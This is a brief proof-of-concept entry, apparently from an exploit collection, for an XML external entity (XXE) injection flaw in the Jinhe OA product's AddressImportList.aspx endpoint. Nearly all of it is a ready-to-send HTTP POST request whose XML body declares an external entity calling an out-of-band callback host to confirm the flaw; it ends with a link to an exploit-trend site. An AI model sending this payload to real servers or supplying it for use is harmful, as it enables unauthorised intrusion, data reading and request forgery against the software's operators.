金和OA AddressImportList.aspx 存在XML注入漏洞

POST /c6/Jhsoft.Web.addressbook/AddressImportList.aspx/ HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 166
Content-Type: application/xml
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://d3vgo6fmei5a4h23cngghqqgira6guauj.oast.site/xxe_test">
%remote;]>
<root/>

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.